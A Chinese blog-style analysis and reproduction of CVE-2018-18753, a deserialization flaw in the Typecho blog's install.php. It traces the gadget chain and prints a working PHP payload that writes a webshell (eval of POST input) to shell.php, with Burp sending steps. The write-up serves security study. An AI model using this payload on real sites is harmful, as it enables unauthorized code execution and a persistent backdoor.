0x00 漏洞简介

  • CVE-2018-18753

  • 漏洞概述:

    typecho 是一款非常简洁快速博客 CMS,前台 install.php 文件存在反序列化漏洞,通过构造的反序列化字符串注入可以执行任意 PHP 代码。

  • 影响版本:typecho1.0(14.10.10)

0x01 环境搭建

  1. 上传源码到 WEB 目录,上传完毕后使用浏览器直接访问安装目录即可看到 Typecho 的 安装程序 install.php。
  2. 提前在 Mysql 数据库中创建好一个库 名 Typecho,下一步会使用这个数据库
  3. 按照提示更改你的数据库相关信息和默认账号信息等等,手动生成提示的配置文件,最后按提示进行安装即可。

0x02 漏洞分析

  1. install.php 中发现了反序列化入口

    这里将 Typecho_cookie::get()方法的值 base64 解码 再反序列化回来赋值给 $config

  1. 全局搜索定位 Typecho_Cookie::get() 方法,定位到文件 /var/Typecho/Cookie.php 中发现 _typercho_config 是可控的,可以看到这里对 POST 或者 Cookie 传入的__typecho_config 变量进行一个反序列化,并且不能为数组。

  1. 我们再回到 install.php 中 继续分析,Typecho_Cookie::delete() 方法用于删除指定的 cookie 值

  1. 接下来 new 了一个 Typecho_Db 的新对象$db,将 $config 中的 adapter 和 prefix 的值传入

  1. 全局搜索定位类 Typecho_Db,定位到文件 /var/Typecho/Db.php,到这个 __construct() 魔术方法中,这里将对象 $adapterName 直接拼接在一串字符串后面,也就是将 $adapterName 当作字符串拼接之后赋值给了 $adapterName,这个时候如果 adapterName 如果为一个对象的话,就会自动调用 __toString 魔术方法。

  1. 全局搜索 __toString(),定位到文件/var/Typecho/Feed.php ,发现使用了 $item['author']->screenName,而这个$item 是$this->_items 里面循环出来的,将 $item['author'] 赋值为一个对象,那么对象中的 screenName 不可访问的时候(私有或者不存在) 就会调用__get() 魔术方法

    php 面向对象编程中是 禁止在对象外直接访问由 private 所定义的私有属性,但是在类中添加魔术方法__set(),__get(),__isset(),__unset()后可间接访问对象中的私有属性。

  1. 全局搜索 function __get() 魔术方法,定位到文件 /var/Typecho/Request.php

  1. 继续跟进 get() 方法

  1. get() 方法最后调用了一个 _applyFilter() 方法,跟进

  1. 发现 敏感函数 call_user_func() ,而且里面的两个参数都是$filter 是 $this->_filter 循环出来的 ,$value 则是由上面的 get() 函数中传参进来的,两个参数都是可控的,可以构造 $filter 为 system , $value 为 whoami ,就可以命令执行了

0x03 利用总结

  1. 上文分析可知 反序列化漏洞 存在于 install.php 文件的安装程序中,要正确执行安装程序需要两个参数,第一个参数就是通过 GET 传参一个 finish 赋一个任意值,第二个就是 _typecho_config 参数,而 这个_typecho_config 参数这个参数就是我们反序列化漏洞利用的重点。我们构造一个序列化后的字符串 POC 赋给 _typecho_config 参数,配合上文漏洞分析最后 1 步分析出的 敏感函数 call_user_func() 就可以达到命令执行的效果。

  1. 上文漏洞分析中第 2 步中,知道 __typecho_config 参数是由 Cookie 或者 POST 传参而来,且不能是数组。确定 payload 传参方式

  2. 下面分析重点就是如何构造一个序列化的字符串 _typecho_config,让其最终传入 敏感函数 call_user_func() 中而达到命令执行

  3. 上文漏洞分析中第 4 步 追踪 对象$db 的 new 的过程,发现在这个类的 __construct() 魔术方法中,对象 $adapterName 直接拼接到字符串中,会自动调用 __toString()魔术方法。而又通过全局搜索__toString()魔术方法 (上文漏洞分析中第 6 步),得知使用了一个属性可以利用$item['author']->screenName,$item['author']赋值为一个对象,那么对象中的 screenName 不可访问的时候(私有或者不存在) 就会调用__get() 魔术方法。继续追踪 __get() 魔术方法,最终于发现 敏感函数 call_user_func() 并且它的两个参数 \$filter 和 $value 都是可控的。

  4. $filter 是 class Typecho_Request 的私有属性,$item['author'] 也就是 $this->_items 即 class Typecho_Feed 的 私有属性 $_items,问题来了,漏洞利用在 class Typecho_Request 中,$item['author'] 是对象时,访问私有属性 screenName 调用的 __get() 魔术方法是 class Typecho_Feed 的才能最终利用 敏感函数 call_user_func() 执行命令。解决方法是在 class Typecho_Feed 中 __construct()魔术方法中 new 一个 class Typecho_Request 的对象就可以解决。

  5. 由于 要绕过 敏感函数 call_user_func() 中的 is_array,因此 class Typecho_Request 中 私有属性 数据结构都是 array

  6. 由上文漏洞分析中第 4 步和第 5 步可知,$db 对象新建时传入了两个参数 $config['adapter'] 和 $config['prefix'],对象新建是首先会调用 __construct() 魔术方法,联系起来,$config['adapter']=new Typecho_Feed() 即可全部串起来。

  7. 最终的 payload 如下:

<?php
class Typecho_Request{
private $_params= array('screenName'=> "file_put_contents('shell.php', '<?php eval(\$_POST[z]);//?>')");
private $_filter= array('assert');
}
class Typecho_Feed{
private $_items=array();
private $_type='ATOM 1.0';
public function __construct()
{
$items['author']=new Typecho_Request();
$this->_items[0]=$items;
}
}
$config['adapter'] = new Typecho_Feed();
$config['prefix'] = 'typecho'; // 值是任意的
$payload = base64_encode(serialize($config));
echo $payload;
?>

0x04 漏洞复现

  1. 复制 payload,浏览器执行获取 base64 编码后的 payload 字符串

  1. burp 抓包,发送 payload,注意:Referer 需要是本站

  1. 成功写入 shell.php

Typecho 反序列化漏洞 分析及复现的更多相关文章

  1. Fastjson 1.2.22-24 反序列化漏洞分析

    目录 0x00 废话 0x01 简单介绍 FastJson的简单使用 0x02 原理分析 分析POC 调试分析 0x03 复现过程 0x04 参考文章 0x00 废话 balabala 开始 0x01 ...

  2. Java安全之Fastjson反序列化漏洞分析

    Java安全之Fastjson反序列化漏洞分析 首发:先知论坛 0x00 前言 在前面的RMI和JNDI注入学习里面为本次的Fastjson打了一个比较好的基础.利于后面的漏洞分析. 0x01 Fas ...

  3. Java安全之Cas反序列化漏洞分析

    Java安全之Cas反序列化漏洞分析 0x00 前言 某次项目中遇到Cas,以前没接触过,借此机会学习一波. 0x01 Cas 简介 CAS 是 Yale 大学发起的一个开源项目,旨在为 Web 应用 ...

  4. 【JavaWeb】CVE-2016-4437 Shiro反序列化漏洞分析及代码审计

    Shiro反序列化漏洞分析及代码审计 漏洞简介 Apache Shiro是一个强大且易用的Java安全框架,执行身份验证.授权.密码和会话管理.   Apache Shiro默认使用了CookieRe ...

  5. Fastjson反序列化漏洞分析 1.2.22-1.2.24

    Fastjson反序列化漏洞分析 1.2.22-1.2.24 Fastjson是Alibaba开发的Java语言编写的高性能JSON库,用于将数据在JSON和Java Object之间互相转换,提供两 ...

  6. Java反序列化漏洞分析

    相关学习资料 http://www.freebuf.com/vuls/90840.html https://security.tencent.com/index.php/blog/msg/97 htt ...

  7. ref:Java安全之反序列化漏洞分析(简单-朴实)

    ref:https://mp.weixin.qq.com/s?__biz=MzIzMzgxOTQ5NA==&mid=2247484200&idx=1&sn=8f3201f44e ...

  8. Java安全之Shiro 550反序列化漏洞分析

    Java安全之Shiro 550反序列化漏洞分析 首发自安全客:Java安全之Shiro 550反序列化漏洞分析 0x00 前言 在近些时间基本都能在一些渗透或者是攻防演练中看到Shiro的身影,也是 ...

  9. Fastjson 1.2.22-24 反序列化漏洞分析(2)

    Fastjson 1.2.22-24 反序列化漏洞分析(2) 1.环境搭建 我们以ubuntu作为被攻击的服务器,本机电脑作为攻击者 本机地址:192.168.202.1 ubuntu地址:192.1 ...

随机推荐

  1. P4233-射命丸文的笔记【NTT,多项式求逆】

    正题 题目链接:https://www.luogu.com.cn/problem/P4233 题目大意 随机选择一条有哈密顿回路的\(n\)个点的竞赛图,求选出图的哈密顿回路的期望个数. 对于每个\( ...

  2. 关于java实体类时间类型的格式化调整问题

    关于java bean在后台\转化为json交给前台时间类型格式调整的方法: 首先要引入fastjson依赖. 在实体类上使用注解: @JsonFormat(pattern = "yyyy- ...

  3. 安装Transformers与ValueError: Unable to create tensor, you should probably activate truncation and/or padding with 'padding=True' 'truncation=True' to have batched tensors with the same length.报错

    此篇博客内容为短暂存留记录(项目使用过程还未记录),后续将会更新完整学习流程.. 1.根据官网上的链接安装有两种方式: (1)pip直接安装 pip install transformers # 安装 ...

  4. JVM学习笔记——栈区

    栈区 Stack Area 栈是运行时的单位,堆是存储单位,栈解决程序的运行问题,即程序如何执行,如何处理数据. 每个线程在创建时都创建一个该线程私有的虚拟机栈,每个栈里有许多栈帧,一个栈帧对应一个 ...

  5. Serverless 架构下的服务优雅下线实践

    作者 | 行松 阿里巴巴云原生团队 应用发布.服务升级一直是一个让开发和运维同学既兴奋又担心的事情. 兴奋的是有新功能上线,自己的产品可以对用户提供更多的能力和价值:担心的是上线的过程会不会出现意外情 ...

  6. harmony OS 开发工具安装

    harmony OS 开发工具安装 安装流程 安装完成 初始配置 双击打开 Running DevEco Studio requires the npm configuration informati ...

  7. JavaScript有同步任务和异步任务,浏览器是怎么处理的?

    1.在讨论浏览器与JavaScript之前,我们先来简单了解一下进程与线程 进程(process):资源分配的最小单位 进程是应用程序的执行实例,是操作系统进行资源分配和调度的一个独立单位. 线程(t ...

  8. 熊猫分布密度制图(ArcPy实现)

    一.背景 大熊猫是我国国家级珍惜保护动物,熊猫的生存必须满足一定槽域(独占的猎食与活动范围)条件.因此,科学准确的分析熊猫的分布情况,对合理制定保护措施和评价保护成效具有重要意义. 二.目的 通过练习 ...

  9. 每日总结:Number&Math类(2021.10.4)

    Java语言为每一个内置数据类型提供了对应的包装类. 所有的包装类(Integer.Long.Byte.Double.Float.Short)都是抽象类Number的子类 其中Integer 对应的基 ...

  10. 无法获取指向控制台的文件描述符 (couldn't get a file descriptor referring to the console)

    背景 最近收拾东西,从一堆杂物里翻出来尘封四年多的树莓派 3B 主机来,打扫打扫灰尘,接上电源,居然还能通过之前设置好的 VNC 连上.欣慰之余,开始 clone 我的 git 项目,为它们拓展一个新 ...